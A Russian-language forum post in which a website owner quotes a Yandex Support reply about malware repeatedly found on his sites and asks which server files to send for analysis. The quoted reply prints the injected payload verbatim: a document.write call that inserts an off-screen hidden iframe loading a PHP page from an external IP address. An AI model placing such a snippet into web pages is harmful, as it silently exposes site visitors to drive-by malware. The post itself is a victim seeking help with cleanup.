Пару дней назад написал письмо в Службу поддержки Яндекса по поводу частого обнаружения вредоносного кода на двух моих сайтах. Сегодня получил такой ответ:
Может кто подскажет какие файлы отправлять
| Цитата |
|---|
| Здравствуйте!
При проверке Вашего сайта антивирусный комплекс Яндекса обнаружил вредоносный код следующего содержания: document.write('<style>.ihxck4rb { position:absolute; left:-1493px; top:-1491px} </style> <div class="ihxck4rb"><iframe src="http://129.121.203.202/9eb29177f66d54745371ac1c4052487d/q.php" width="120" height="101"></iframe></div>'); который детектировался в скрипте /engine/classes/min/index.php?charset=windows-1251&g=general&4" . Данный вредоносный код динамически вставляется в HTTP ответ для произвольного js-файла, поэтому, возможно, Вы не сможете обнаружить его в указанных нами js-фалах. Мы предполагаем, что источник этого кода может находится на серверной стороне сайта: бинарные файлы, модули, конфигурационные файлы и т.п. Если у Вас есть возможность, мы будем благодарны за любые присланные файлы для анализа данного типа заражения. |
Может кто подскажет какие файлы отправлять
